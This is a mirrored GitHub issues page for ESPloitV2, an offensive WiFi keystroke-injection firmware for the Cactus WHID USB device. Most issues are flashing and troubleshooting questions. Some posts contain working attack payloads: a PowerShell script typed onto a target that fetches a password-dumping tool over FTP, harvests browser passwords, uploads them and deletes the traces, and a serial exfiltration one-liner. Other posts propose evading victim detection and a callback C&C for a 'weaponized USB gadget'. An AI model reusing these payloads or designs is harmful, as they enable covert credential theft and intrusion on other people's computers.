Giter Site home page Giter Site logo

exploitagency / esploitv2 Goto Github PK

View Code? Open in Web Editor NEW
551.0 43.0 135.0 1.48 MB

WiFi Keystroke Injection Tool designed for an Atmega 32u4/ESP8266 Paired via Serial (Cactus WHID Firmware). Also features Serial, HTTP, and PASV FTP exfiltration methods and an integrated Credential Harvester Phishing tool called ESPortal.

License: MIT License

Objective-C 9.26% C 0.03% HTML 3.51% C++ 87.20%

esploitv2's People

Contributors

anacron-sec avatar exploitagency avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

esploitv2's Issues

Appearance

Make some new tabs,colours and style to your page

[enhancement] "Is-anyone-around?" function

Add, to the Atmega sketch, a function that will constantly check status changes of CAPSLOCK led and keep updated a red/green flag within each webpage in the ESP HTTP Server.
In order to detect if the victim is using the keyboard and potentially become aware of an ongoing attack.
In this way, the attacker (connected through wifi) will be constantly aware if someone is around the victim machine. This might increase the success rate and reduce the suspiciousness among victims.

P.S. Eventually it could even be deployed with a preset automatic payload, that will run as soon as the WHID will not detect any victim's activity.

Something like this... (WIP)

// within Arudino Sketch
boolean capsIsON(){
  if (BootKeyboard.getLeds() & LED_CAPS_LOCK){
    return true;
  }
  else{
    return false;
  }
}

void pressCAPSLOCK(){
  Keyboard.press(KEY_CAPS_LOCK);
  delay(100);
  Keyboard.release(KEY_CAPS_LOCK);
}

void loop() {  
  while (Serial1.available()) {
    
    if (capsIsON()){
      pressCAPSLOCK();
      while (!capsIsON()){ 
         // update html button to GREEN. Attack can go on!
         Serial1.print("GREEN*");
      }
      // someone changed CAPSLOCK status! Be Careful! Someone is around!
    }
    else  {
      pressCAPSLOCK();
      while (capsIsON()){
         // update html button to GREEN. Attack can go on!
         Serial1.print("RED*");
      }
      // someone changed CAPSLOCK status! Be Careful! Someone is around!
    }

//Sketch Continues...
}
// ESP Sketch
server.on("/", [](){
    String buttonStatus = "RED-original";
    buttonStatus = Serial.readStringUntil('*');
    server.send(200, "text/html", "<style>body {background-color: #000000;}.moveimage{position: relative;left: 55px;}</style><html><body><meta http-equiv=\"refresh\" content=\"3\" /><h1 style=\"color: #00ff00;\">WHID Injector</h1><p><span style=\"color: #00ff00;\">WiFi HID Injector for Fun & Profit. The Button is: "+String(buttonStatus)+"</span></p><p><span style=\"color: #00ff00;\">-----------------------------------------------</span></p><a style=\"color: #00ff00;\" href=\"/uploadpayload\">Upload Payload</a></html><br>-<br><a style=\"color: #00ff00;\" href=\"/listpayloads\">Choose Payload</a><br>-<br><a style=\"color: #00ff00;\" href=\"/format\">Format File System</a></html><p><span style=\"color: #00ff00;\">-----------------------------------------------</span></p>");
  });

REQ: explanation for newbie

I am a teacher assistant at a high school, planning to buy some Cactus-WHID-WiFi-HID-Injector for students at my school.

On the wiki explained about:

  1. Reset to default configuration / Restore device.
  • Is there another way like a simpler script like using Powershell or CMD or a small tool to do it, because not always if there is a problem, we bring an Arduino laptop already installed IDE?
  1. Credential Director ESPortal
    Mentioned on the wiki about "Custom html templates can be uploaded for ESPortal sign-in credentials via FTP credentials."

For example in this case as Newbies who have purchased Cactus-WHID-WiFi-HID-Injector which since July 2017 all Cactus WHIDs are delivered with ESPloitV2 pre-loaded and ready for Plug-n-Hack,

  • Can you provide an example of its implementation or its explanation on WIKI about the purpose "Custom html templates can be uploaded for ESPortal login via Incoming FTP credentials." (Note: in this case as a regular user or NEWBIES EDITION)?

I apologize for my ignorance, so many very basic questions or requests.

When I change the WiFi settings the cactus WHID stop working

When I change the WiFi settings the cactus WHID stop working, to be precise the light just flashes on and off and I can't connect to it.

I followed the steps below to flash it:


Initial Flashing

Download and Install the Arduino IDE from http://www.Arduino.cc
Open Arduino IDE.
Go to File - Preferences. Locate the field "Additional Board Manager URLs:"
Add "http://arduino.esp8266.com/stable/package_esp8266com_index.json" without quotes.
Click "Ok"
If Arduino IDE gives you the following error:
"Error downloading http://arduino.esp8266.com/stable/package_esp8266com_index.json"
Use "https://github.com/esp8266/Arduino/releases/download/2.3.0/package_esp8266com_index.json" instead.
Select Tools - Board - Boards Manager. Search for "esp8266".
Install "esp8266 by ESP8266 community version 2.3.0". Click "Close".
Select Sketch - Include Library - Manage Libraries. Search for "Json".
Install "ArduinoJson by Benoit Blanchon version 5.11.0" and click "Close" Download https://github.com/exploitagency/esp8266FTPServer/archive/feature/bbx10_speedup.zip
Click Sketch - Include Library - Add .ZIP Library and select bbx10_speedup.zip from your Downloads folder.
The Arduino IDE is now configured and ready for the code.

Use git to clone this repo: https://github.com/exploitagency/ESPloitV2.git
or
Download/extract the repo as a zip file: https://github.com/exploitagency/ESPloitV2/archive/master.zip

Load the esp8266Programmer sketch from the flashing folder.
Select Tools - Board - "LilyPad Arduino USB".
Select the Port your device is connected to under Tools - Port.
Upload the sketch.

Open the ESP_Code sketch from the source folder.
Select Tools - Board - "Generic ESP8266 Module".
Select Tools - Flash Size - "4M (3M SPIFFS)".
Select Sketch - "Export Compiled Binary".

Now flash the firmware to the ESP-12S chip using one of the following tools.
Linux: https://github.com/AprilBrother/esptool
Example: python esptool.py --port=/dev/ttyACM0 --baud 115000 write_flash 0x00000 ESP_Code.ino.generic.bin --flash_size 32m
Windows: https://github.com/nodemcu/nodemcu-flasher

NOTE: Do not try to connect to the access point or test anything yet, the device won't work until after the next step.

Finally open the Arduino_32u4_code sketch from the source folder.
Select Tools - Board - "LilyPad Arduino USB".
Select the Port your device is connected to under Tools - Port.
Upload the sketch.

Your ESPloit is now ready to configure and or use.


Ι also use the precompiled binaries (https://github.com/exploitagency/ESPloitV2/releases), but without result.

None of the above steps did fix the problem. WHID continues to flashes on and off, and of course no wireless network (SSID "Exploit") appears.

Can you please help me?

Thanks in advance

Exfiltrating Data block

Exfiltrating Data

I tried this feature but there are constraints that is when the router is used by the target attached firewall (in my trial using mikrotik router)
EsploitV2.5.3 can not upload files to list exfiltrade data using FTP

is there a solution or a way that can solve the problem?

Problem Scenario FTP mode

I have 2 scenarios whose target is not connected to internet and connected internet. ESPloit joins the target network and as an access point. FTP mode I enable
Although FTP ESPloit is in PASV mode, I assume my scenario should work.

The attacker scenario does not have an online FTP so I uploaded it to the FTP folder in ESPloit. which is a small tool with exe extension to retrieve the cookie password (NIRSOFT tool with size - + 360 kb),

Payload based on example in ESPloitV2, with process order:

  1. Downloading files from FTP
  2. Perform executions and results stored in the data file
  3. Upload the data file to FTP
  4. Delete the file in the target
  5. Exit

In the scenario I'm having some problems

  1. Very slow download and upload process from FTP (+ - 1-2 minutes).
  2. Sometimes fail / stop in PowerShell and idle console without any activity, even if the file is small.
  3. If Download is successful then Upload will fail and sometimes succeed but data file is corrupted.

I use 2 machines as target (Win 7sp1 ultimate 64bit and Win 7sp1 ultimate 32bit) all without AV and standard installation. And they all get the same result.

Is there a solution or my scenario an activity not recommended in ESPloit?

This is the payload I made

Rem:Offline Powershell download and execute file then upload
DefaultDelay:1000
Press:131+114
CustomDelay:200
PrintLine:powershell
CustomDelay:1000
Press:176
CustomDelay:1000
Rem:Download Tool from FTP Folder
PrintLine:$ftpURI = "ftp://ftp-admin:[email protected]/WebPass.exe"; $webclient = New-Object -TypeName System.Net.WebClient; $ftpURI = New-Object -TypeName System.Uri -ArgumentList $ftpURI; $webclient.DownloadFile($ftpURI, [System.ENVIRONMENT]::CurrentDirectory + "\WebPass.exe"); Write-output "Download file ... "
CustomDelay:3000
Rem:Execute Tool to get Webrowser Password
PrintLine:WebPass.exe /stext pass
CustomDelay:3000
Rem:Uploaded execution results
PrintLine:$ftpURI = "ftp://ftp-admin:[email protected]/pass"; $webclient = New-Object -TypeName System.Net.WebClient; $ftpURI = New-Object -TypeName System.Uri -ArgumentList $ftpURI; $webclient.UploadFile($ftpURI, [System.ENVIRONMENT]::CurrentDirectory + "\pass"); Write-output "Upload file ... "
CustomDelay:2000
PrintLine:del WebPass.exe
PrintLine:del pass
PrintLine:exit

thank you and sorry if my english is a mess and for the stupidity i understand the performance of ESPloit but i want more advanced and very interested

Cactus WHYD board url

can someone please provide the url for add the cactus WHYD board to the board menu on IDE?
thanks

#nicetoknow

this is not really a problem, i'm just wondering if it would be possible for my mobile phone
to execute code via the cactus wlan in, say, OTA on e.g. a windows pc!
So dongle is somewhere in the next room connected to a wall socket, laptop &mobile phone both in the same network where cactus is gateway....
SO AT LEAST IS MY QUESTION: has the cactus plugged directly to the target to be interesting?
or is there some other way to handle that? who can enlighten me?

Worked until I changed the SSID and password. The the SSID became invisible and blue light started blinking

The device came pre-installed. It worked correctly until I changed the SSID and password. The the SSID became invisible and blue light started blinking and I could not use it anymore.

I tried reflashing it using the procedure proposed here : https://github.com/exploitagency/ESPloitV2
I had no error message installing the loader, the ESP flashed correctly as well as the third code (no error message) but the device is still not working
.
I tried erasing the internal memory by flashing a 4MB blank file before flashing the ESP code. It does not work either. I tried installing a release binary (ie not compiling the ESP code myself) and it does not work either.

What did I do wrong ? Is there a bug in the code when you change the SSID name ?

Adding support for swedish.

I’ve been trying to make a payload that works with the swedish keyboard without changing layout and so far i’ve encountered problems with only 4 characters. So i tried to add code like the one you did for the less than character but I have no Idea how to compress the code into a bin update like yours.

So i wanted help understanding the compression of your generic.bin update.

Layout Keyboard pt-BR

Which sketch should I load in the ARDUINO IDE to perform the LAYOUT KEYBOARD update through the Keyboard.cpp file?

Help me

Hello good afternoon!

My Cactus is not recognizing. It does not appear as a serial (COM).
Is there any way to recover?

Sticky Keys Prompt

One really nice button I would like to see under the input mode "WIN:" row, would be StickyKeys.
Sticky keys is a great kiosk escape technique and something that the RubberDucky cannot do. The script is just (hit shift five times quickly):

Press:129
Press:129
Press:129
Press:129
Press:129

No "Exploit" Access Point Issue

Hi, I followed all the steps described in the readme to flash my Cactus WHID device but there is no access point appears.

I have a question regarding this step:
"Now flash the firmware to the ESP-12S chip using one of the following tools."

Do you mean by this step this command line:

python esptool.py --port=/dev/cu.usbmodem1411 -b 115200 write_flash 0x00000 ~/Path/To/ESP_Code.ino.generic.bin

??

(correct me if i'm wrong)

help, does not work

What to do when rev3 rev3. Maybe there is a manual?
After performing actions from the existing - the LED is on and that's it.
There are no fawns. SSID does not appear.

===============================================

Как быть когда ревизия rev3. Возможно есть manual?
После выполнений действий с существующего - горит светодиод и все.
Мирцаний нет. SSID не появляется.

ReFlashing

Hello
I ocassionaly switched to join network, and didn't see that reset to defaults tutorial =)
So i've tried to re-flash and was following the guide

  1. I made all prerequirements
  2. I have loaded esp8266programer and Uploaded
    3 ) Swithed to Generic Esp8266module and export compiled ESP_Code

image

Using library esp8266FTPServer-feature-bbx10_speedup at version 1.0.1 in folder: C:\Users\BezruchenkovK\Documents\Arduino\libraries\esp8266FTPServer-feature-bbx10_speedup 
Using library DNSServer at version 1.1.0 in folder: C:\Users\BezruchenkovK\AppData\Local\Arduino15\packages\esp8266\hardware\esp8266\2.3.0\libraries\DNSServer 
Sketch uses 508647 bytes (48%) of program storage space. Maximum is 1044464 bytes.
Global variables use 49612 bytes (60%) of dynamic memory, leaving 32308 bytes for local variables. Maximum is 81920 bytes.

4 ) I use the ESP8266Flasher.exe to load that compiled code like ESP_Code.ino.generic.bin

image
image

  1. next It is said to do last thing in Arduino upload Arduino_32u4_Code
    image

and then my led is rapidly blinking and i see only
image

Where I' am wrong ????

Setting delay values anything below 1020ms doesn't seem to work.

Whether in the configuration page or in payloads or live payload, setting "DefaultDelay" or "CustomDelay" to anything below 1020 does not work- as in it seems to cause the execution of the lines to fail and even 1020 doesn't work all the time.

I found this line, is there some inherent reason this device can't handle fast line entry? Seems like it shouldn't be a problem but I'm no arduino-master, far from it!

delay(DelayLength); //delay between lines in payload, I found running it slower works best

Migrate to platformio

Hi,

I've recently migrated the latest ESPloitV2 code to platformio. So we can flash the WHID board with one line.

./flash.sh

or

flash.bat

Please check the code here

Add REST APIs capability

After discussing with some users, I think that add REST APIs to the core and then use them within a mobile app for Android & iOS would make WHID's usage even more easy.

https://github.com/bblanchon/ArduinoJson
https://github.com/marcoschwartz/aREST

Something like the Wifi Pineapple connector app.
https://play.google.com/store/apps/details?id=org.hak5.pineappleconnector&hl=en
https://www.youtube.com/watch?v=2te89R8SMoM

Workflow:
- User installs mobile app
- Run it
- User gets list of available SSIDs or directly connect to the hidden one (straight from the app itself, without going everytime to wifi settings)
- User can now launch payloads, insert on-the-fly, etc.

failed to request a device descriptor

After I followed these steps

Load the esp8266Programmer sketch from the flashing folder.
Select Tools - Board - "LilyPad Arduino USB".
Select the Port your device is connected to under Tools - Port.
Upload the sketch.

from your instructions, my ESP stopped responding, and I'm getting now just that "failed to request a device descriptor". Windows does not see the device

WiFi HID emulator

hi , sorry to open a ticket for my question, but I have a question that may related to your field of repository and any possible hint really appreciated
Actually I interested to send game-pad data by WiFi bridge(ESP8266) to my laptop, but generic joystick only use USB port, Is there a way to emulate "HID-compliant game controller" driver which listen to IP message instead of USB port
Tnx

"*** was not declared in this scope" when trying to export compiled binary

Hello, I am trying to flash ESPloitV2 onto my whid cactus usb pin. I've followed the tutorial and everything works until I get to ESP_Code where I have to click "export compiled binary". Doing so results in five "**** was not cleared in this scope"

Flash size is the correct amount and board is ""Generic ESP8266 Module". Below are the errors

C:\Users\Zeklyn\Desktop\ESPloitV2-master\source\ESP_Code\ESP_Code.ino: In function 'void handleSettings()': ESP_Code:310: error: 'handleSubmitSettings' was not declared in this scope

C:\Users\Zeklyn\Desktop\ESPloitV2-master\source\ESP_Code\ESP_Code.ino: In function 'void handleSubmitSettings()': ESP_Code:360: error: 'saveConfig' was not declared in this scope

ESP_Code:362: error: 'loadConfig' was not declared in this scope

C:\Users\Zeklyn\Desktop\ESPloitV2-master\source\ESP_Code\ESP_Code.ino: In function 'bool loadDefaults()': ESP_Code:410: error: 'loadConfig' was not declared in this scope

exit status 1 'handleSubmitSettings' was not declared in this scope

I first used the most recent version of "esp8266 by ESP8266", and "ArduinoJson by Benoit Blanchon". I somehow thought that could be an issue so I changed to the version listed in the readme, but it didn't change anything.

Operation System: Windows 10 v1903 (Build 18362.418)
Arduino IDE Version: 1.6.9 (due to 1.8.10 required me to rewrite parts of the code to json v6 instead of v5)

I've tried searching around, and I have to admit that I am not the best in arduinos. Any help is appreciated.

ESP8266FtpServer.h: No such file or directory

Hi,

I managed to re"re-flash" the Cactus to the final upload stage
As below...


Initial Flashing
Download and Install the Arduino IDE from http://www.Arduino.cc
Open Arduino IDE.
Go to File - Preferences. Locate the field "Additional Board Manager URLs:"
Add "http://arduino.esp8266.com/stable/package_esp8266com_index.json" without quotes. Click "Ok"
Select Tools - Board - Boards Manager. Search for "esp8266".
Install "esp8266 by ESP8266 community version 2.3.0". Click "Close".
Select Sketch - Include Library - Manage Libraries. Search for "Json".
Install "ArduinoJson by Benoit Blanchon version 5.11.0" and click "Close"
The Arduino IDE is now configured and ready for the code.

Use git to clone this repo: https://github.com/exploitagency/ESPloitV2.git
or
Download/extract the repo as a zip file: https://github.com/exploitagency/ESPloitV2/archive/master.zip

Load the esp8266Programmer sketch from the flashing folder.
Select Tools - Board - "LilyPad Arduino USB".
Select the Port your device is connected to under Tools - Port.
Upload the sketch.


All good with no issues, then the final step was to upload the ESP_CODE

Open the ESP_Code sketch from the source folder.
Select Tools - Board - "Generic ESP8266 Module".
Select Tools - Flash Size - "4M (3M SPIFFS)".
Select Sketch - "Export Compiled Binary".


Now I get the ESP8266FtpServer.h: No such file or directory error and cannot continue.

Please help!!!

Thank you

Blue LED blinks rapidly

hi......im back with another question ;)
what does it mean, if theres no Exploit WLAN after a fresh reflash.......
instead the blue led just goes on and off instantly......

Could it be the case that i have to wait longer between "ResetDefaultConfig:OpenNetwork" and the 32u4 flash?

I have 2 Cactus Dongles and did exactly the same with both........one works the 2nd doesnt!

Using the device as a remote keyboard

Hi, I hope you can help me with this. I have got the USB device working and its currently connected to my local WiFi and I am able to browse the unit from a web browser. My aim for this device is to use it as a remote keyboard to send keystrokes from one PC to another PC via a a custom windows application on the remote PC.

Apart from the HTML webpage that requires me to physically type things into the form, is there a way I can perform keystrokes from an application that I develop? Is there a webservice or something that my program can connect to and initiate keyboard commands?

Thank you for any help you can offer.

NodeMCU

Hello. Its work with NodeMCU? Becouse the README didn't said how to install to NodeMCU.

[enhancement] Call back C&C(And Open Discussion)

Just got an idea and throwing here for future development.
Scenario:

  • Cactus WHID deployed in an unknown environment (e.g. imagine a weaponized USB gadget delivered by courier)
  • Once connected to the USB (i.e. powered ON) the ESP (setup to act in client-mode) starts to scan for Open WiFi APs.
  • If found, tries to connect and starts contacting back the C&C over HTTPS on 443 (eventually we can try to use a DNS tunnel over TCP 53 [if ESP supports it])
  • If it managed to connect to an Open AP and gets through eventual FW/IPS... voila'! The attacker can control it from its on C&C god-knows-where ;]

P.S. Actually, to be fair, while designing the Cactus WHID I have thought of its upgrade... a Cactus WHID 2G ( by using an Atmega 32u4 + SIM800H 2G module ) but that would kill its small price... :)

Looping Payload with Smartphone

I found a bug
if the Attacker controls using a Smartphone.
when executing payload (Run Payload), there will be a repeat delivery, which is at least 2x payload delivery.

Join Existing Network

I connect device to my PC. That was be OK.
Now worked with device. And I changed some settings (192.168.1.1 I logged there. That's OK).
Then I open menu "Configure ESPloit"->"WiFi Configuration" and mark the "Join Existing Network".
Apply. Reboot.
?????
Now I don't know what I can do because I don't see device in list of Wi-Fi networks. Help me please how can I will work with device.

How I can logging in admin-panel of my device?

Functional devices, the possibility of wi-fi adapter

Kind time of the day, I do not know if there is any support for this project, but I'll try to ask.

Can I use the device as a Wi-Fi adapter? Like entering data when connecting to another access point, the facility is working fine, but for full control I can not transfer the file, or use the network of the device itself (Exploit: DotAgency). Help to solve the problem with the control, can I somehow configure the WHID injector as well as the Wi-Fi adapter on the remote computer?

Device will not reset

Hi, I have device which is working fine and I can log into the device using the advised settings:-

SSID "Exploit"
Password "DotAgency"
Open a web browser pointed to "http://192.168.1.1"
The default administration username is "admin" and password "hacktheplanet".

I want to connect this device to my local network and before I perform this I wanted to be sure I could reset the device should the settings fail in any way.

So following the reset guide I installed the Arduino IDE and followed these instructions:-

Plug the device into your computer.
Open the Arduino IDE.
Select Tools - Board - "LilyPad Arduino USB".
Select Tools - Port and the port the device is connected to. (in my instance COM3 Lilly Pad Arduino USB)
Select Tools - "Serial Monitor".
Select "38400 baud".
Now type in "ResetDefaultConfig:". Without the quotes but be sure to include the colon symbol.
Click Send.
You should now receive the following reply "Resetting configuration files back to default settings."

So in the Serial Monitor I enter ResetDefaultConfig: and click send, the LED on the device flashes once and the following response appears in the Serial Monitor :- Relaying command to connected ESP device.

The monitor never provides a response and the LED never flashes again, However the device is still working as normal.

I have changed a couple of settings and applied them so the device is not in a default state but following the instructions I still cannot reset the device.

Any advice on how I can reset my device as I would like to be confident this can be done before I potentially lock myself out with incorrect Wi Fi settings?

[Cactus WHID] Unknown Device - Problem

Hey guys, today i received my Cactus WHID, i had the famous problem involving not being able to properly see the AP because i changed the SSID.

So i followed this guide: https://github.com/exploitagency/ESPloitV2/tree/36638cfe1a4fb3749355faf63ef182c19419dd52 , made a mistake in one of the steps, and now no matter in wich device i insert the Cactus WHID, i get the "Unknown Device" thing ("the USB device is not recognized").

Should i try a hard-reset (with the magnet and all)? I tried but it's kind of complicated to accomplish, plus the tutorial in the Wiki it's not that friendly: https://github.com/whid-injector/WHID/wiki#hardware-unbrick--hard-reset

EDIT: Already tried with three different tipes of magnets and nothing seems to happen, is there any special type of magnet that i need to use?

Thanks in advance for any tips!

Spanish Keyboard

Hi, how can I put the keyboard in spanish, I tried the method of the wiki but didnt work...
Thanks

Not displaying AP?

I've reflashed the USB stick twice now with no solution. When I first got it I set it to be a hidden AP and now the light just flashes on and off, and I can't connect to it, I tried resetting the default config, and it says it is relaying the command but then nothing happens. I have flashed it twice to no success. Please help Thanks

(not an issue)

maybe this is a stupid question.
I found a project that I think is good. whether ESPloit can be developed and have features as in this project
meaning can be added with bot telegram

excuse my ignorance, thanks

printing different key

sorry, not at all sure this is an issue or a bad mistake that i have made, but with every payload on every pc the output that the ESPloit print is gnome'terminal when i typed in :gnome-terminal, so it does for all the other key like ù,è,:,_,é

Windows Serial Exfiltration

Since we have the Linux one, I thought we might want also the Windows one.

DefaultDelay:50
CustomDelay:3000
Press:131+114
CustomDelay:1000
PrintLine:powershell
CustomDelay:1000
PrintLine:$s=(Get-WmiObject -Class Win32_PnPEntity -Namespace "root\CIMV2" -Filter "PNPDeviceID like 'USB\\VID_1b4f&PID_9208%'").Caption; $com=[regex]::match($s,'\(([^\)]+)\)').Groups[1].Value; $cmd=whoami; $port= new-Object System.IO.Ports.SerialPort $com,38400,None,8,one; $port.open(); $port.WriteLine("SerialEXFIL:$cmd"); $port.Close(); exit;

Is just a PoC, we can of course improve it, by reducing the size of payload. But works.

....another question ^^

wtf does this mean?

C:\Program Files (x86)\Arduino\arduino-builder -dump-prefs -logger=machine -hardware C:\Program Files (x86)\Arduino\hardware -hardware C:\Program Files (x86)\Arduino\portable\packages -tools C:\Program Files (x86)\Arduino\tools-builder -tools C:\Program Files (x86)\Arduino\hardware\tools\avr -tools C:\Program Files (x86)\Arduino\portable\packages -built-in-libraries C:\Program Files (x86)\Arduino\libraries -libraries C:\Program Files (x86)\Arduino\portable\sketchbook\libraries -fqbn=arduino:avr:LilyPadUSB -vid-pid=0X1B4F_0X9208 -ide-version=10805 -build-path C:\Users\dakra\AppData\Local\Temp\arduino_build_322237 -warnings=none -build-cache C:\Users\dakra\AppData\Local\Temp\arduino_cache_641656 -prefs=build.warn_data_percentage=75 -prefs=runtime.tools.avr-gcc.path=C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2 -prefs=runtime.tools.arduinoOTA.path=C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\arduinoOTA\1.1.1 -prefs=runtime.tools.avrdude.path=C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avrdude\6.3.0-arduino9 -verbose C:\Users\dakra\Desktop\WHiD_Injector\Arduino_Sketch\Arduino_Sketch.ino
C:\Program Files (x86)\Arduino\arduino-builder -compile -logger=machine -hardware C:\Program Files (x86)\Arduino\hardware -hardware C:\Program Files (x86)\Arduino\portable\packages -tools C:\Program Files (x86)\Arduino\tools-builder -tools C:\Program Files (x86)\Arduino\hardware\tools\avr -tools C:\Program Files (x86)\Arduino\portable\packages -built-in-libraries C:\Program Files (x86)\Arduino\libraries -libraries C:\Program Files (x86)\Arduino\portable\sketchbook\libraries -fqbn=arduino:avr:LilyPadUSB -vid-pid=0X1B4F_0X9208 -ide-version=10805 -build-path C:\Users\dakra\AppData\Local\Temp\arduino_build_322237 -warnings=none -build-cache C:\Users\dakra\AppData\Local\Temp\arduino_cache_641656 -prefs=build.warn_data_percentage=75 -prefs=runtime.tools.avr-gcc.path=C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2 -prefs=runtime.tools.arduinoOTA.path=C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\arduinoOTA\1.1.1 -prefs=runtime.tools.avrdude.path=C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avrdude\6.3.0-arduino9 -verbose C:\Users\dakra\Desktop\WHiD_Injector\Arduino_Sketch\Arduino_Sketch.ino
Using board 'LilyPadUSB' from platform in folder: C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21
Using core 'arduino' from platform in folder: C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21
Detecting libraries used...
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -flto -w -x c++ -E -CC -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\sketch\Arduino_Sketch.ino.cpp" -o "nul"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -flto -w -x c++ -E -CC -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "-IC:\Program Files (x86)\Arduino\libraries\Keyboard\src" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\sketch\Arduino_Sketch.ino.cpp" -o "nul"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -flto -w -x c++ -E -CC -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "-IC:\Program Files (x86)\Arduino\libraries\Keyboard\src" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\libraries\HID\src" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\sketch\Arduino_Sketch.ino.cpp" -o "nul"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -flto -w -x c++ -E -CC -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "-IC:\Program Files (x86)\Arduino\libraries\Keyboard\src" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\libraries\HID\src" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\libraries\SoftwareSerial\src" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\sketch\Arduino_Sketch.ino.cpp" -o "nul"
